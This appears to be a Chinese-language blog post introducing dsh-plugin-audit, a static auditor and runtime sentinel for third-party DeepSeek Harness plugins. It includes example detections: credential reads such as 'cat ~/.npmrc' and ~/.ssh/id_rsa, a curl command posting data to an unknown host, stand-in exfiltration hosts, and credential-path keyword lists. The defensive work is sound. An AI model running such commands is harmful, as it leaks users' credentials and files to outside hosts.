给DeepSeek Harness插件装上“安检门“:dsh-plugin-audit的设计与实践

0 阅读6分钟

安装一个第三方插件,本质上是一次授权——授权它读你的文件、连它的服务器、动你的凭证。问题是:你真的知道它要什么权限吗?

为什么写这个插件

DeepSeek Harness(DSH)的插件生态正在长大:雷达站 awesome-dsh-plugins 已经收录了几十个社区插件,涵盖会话迁移、跨会话通信、远程渠道等各种能力。这是好事,但有一个越来越显眼的问题——

插件安装没有权限声明环节。 一条 dsh plugin add xxx,插件代码就进了你的 harness 进程:它能读文件系统、能开子进程、能访问 process.env 里的一切(包括你的 API token)、能向任意主机发请求。装之前,你唯一的"审查手段"是自己去读它的源码——而没人真的会为每个插件做这件事。

我们需要的不是"信任"或"不信任"的二元选择,而是证据:这个插件的代码到底碰了什么能力,把文件和行号摆出来,让人来判断。

同时,静态审查只覆盖"装之前"。插件真正运行起来之后,每一次工具调用都是一次新的授权决策。所以还需要一道运行时的关卡。

这就是 dsh-plugin-audit 的两层设计:静态画像 + 运行时哨兵

它做什么

第一层:plugin_audit 静态审计工具

装好后,会话里会多出一个 plugin_audit 工具。指向任意插件的源码目录,它返回一张权限画像卡:

## Plugin audit: fixture-suspicious-plugin

**Risk: REVIEW** — REVIEW — human review recommended before installing

> 1 files scanned; risk=review; 10 findings (4 review, 4 notice, 2 info)

### Permission profile

| Surface | Observed |
|---|---|
| Filesystem read | **yes** |
| Filesystem write | **yes** |
| Child processes | **yes** |
| Network | **yes** |
| Outbound hosts | `evil.example.com`, `exfil.badhost.io`, `telemetry.example.net` |
| Env variables | `GITHUB_TOKEN`, `HOME` |
| Credential-looking env | `GITHUB_TOKEN` |
| Credential paths | `.npmrc`, `.ssh` |
| Dynamic code execution | **yes** |
| Injected services | `credentials`, `tools` |

扫描覆盖的能力面:

  • 文件系统读写——含别名导入(readFileSync as rfs)、异步方法(rm/mkdir/cp 等 20+ 个)
  • 子进程——exec/spawn/fork 及其同步变体
  • 网络——http/net/fetch/WebSocket,以及 axios/got/undici 等常见 HTTP 库的导入;URL 字面量里的外发主机会被逐个提取(自动剥离 userinfo、IPv6 括号、尾部点)
  • 环境变量——所有 process.env.X 引用;名字疑似凭证的(TOKEN/KEY/SECRET…)单独升级标记
  • 凭证路径——.ssh/.aws/.npmrc/id_rsa
  • 动态代码执行——eval/new Function/vm 模块
  • manifest 与 bundle patch——package.json 的依赖声明、cordis.patch.yml 是否 override/delete 了别人的插件行

每条发现都带文件和行号。风险分三档:INFO(无敏感能力)→ NOTICE(有能力,扫一眼列表)→ REVIEW(装之前建议人工审查)。

它是只读的——而且这件事本身被强制执行。 每份报告携带 writesPerformed: false 契约标记;审计器还附带一个 invariant 伴随插件,如果任何 plugin_audit 结果丢失了这个标记,宿主会直接让会话失败。审计别人代码的工具,自己先戴上镣铐。

第二层:运行时哨兵

静态审计管"装之前",哨兵管"跑起来之后"。它挂在宿主工具管线的 tools/pre-execute waterfall 上,监视会话里的每一次工具调用,命中三条规则之一就返回 ask,交给宿主原有的审批提示:

规则示例
任意工具参数引用凭证路径read~/.ssh/id_rsabash: cat ~/.npmrc
shell 外发指向白名单之外的主机curl -d @data.json https://collector.unknown.io/x
写工具指向家目录 dotfilewrite~/.zshrc

没有审批通道时,调用被拒绝——绝不静默放行

怎么使用

安装

# 从 npm
dsh plugin --profile web add dsh-plugin-audit

# 或直接从 GitHub
dsh plugin --profile web add github:jkrandom-sudo/dsh-plugin-audit

重启 profile 后生效。卸载同样一条命令:dsh plugin --profile web remove dsh-plugin-audit

审计一个插件

在会话里直接说:

用 plugin_audit 审计 ~/some-third-party-plugin 这个插件

或者让模型直接调用:

{ "path": "/absolute/path/to/plugin", "format": "markdown" }
  • path(必填)——插件的源码目录(不是带 node_modules 的安装产物)
  • format——markdown(默认,返回上面的卡片)或 json(返回结构化报告,适合程序化处理)

配置哨兵

在 profile 的 cordis.patch.yml 里:

- id: dsh-plugin-audit
  name: 'dsh-plugin-audit'
  config:
    sentinelEnabled: true        # 总开关;false = 只保留静态审计
    allowedHosts:                # shell 外发的预批准主机
      - github.com
      - registry.npmjs.org
      - '*.deepseek.com'         # 前导 *. = 后缀规则(同时匹配裸域名)

正常命令频繁触发询问?把主机加进 allowedHosts 即可。

一段诚实的插曲:v0.1.x 的哨兵其实从未工作过

这个插件最值得讲的经验,来自它自己的一次翻车。

v0.1.0 发布前,哨兵在测试里全部通过,在本机真实 profile 的进程内验证里也"通过"了。发布后的一次三 agent 代码审查却发现了一个 P0:哨兵读的是 exec.args,而宿主真实的执行对象把参数放在 exec.arguments。生产环境里每条规则永远命中不了——哨兵是个安静的摆设。

更讽刺的是为什么验证没拦住:测试 harness 和手工验证脚本都镜像了同一个错误假设,错得彼此印证。

v0.1.2 的修复不止改了字段名(exec.arguments ?? exec.args),还做了两件防复发的事:

  1. 验证脚本改用宿主真实形状 { name, arguments } 派发,并在 harness 里留下注释记录这次回归;
  2. 新增 src/events.ts,用 cordis 的 Events 接口模块增强把宿主 waterfall 声明进类型系统——监听器形状从此编译期受检,同类错误在 tsc 阶段就会爆炸,而不是上线后。

教训一句话:当测试替身和生产事实由同一个假设驱动时,绿灯什么也证明不了。 验证要对着宿主的真实源码形状来,而不是对着自己的理解来。

边界与立场

这个插件是审计辅助,不是杀毒软件

  • 干净的报告含义是"这些规则没发现证据",不是"安全";
  • 扫描基于源码文本而非 AST,字符串和注释里的命中会原样上报——宁多勿漏,因为卡片是给人看的证据;
  • 不跟随 symlink,跳过 node_modules/dist 等目录(只发布构建产物的包会强制得 NOTICE 而不是假干净);
  • 上限 400 文件 / 单文件 256 KB,超出会在报告里如实标注。

发现绕过方式——扫描器漏检的能力、可规避的哨兵规则——欢迎在 Issues 提出,敏感内容请先私下报告。

链接


装插件之前,先花十秒钟看看它的权限画像。这十秒钟,就是这道安检门存在的全部理由。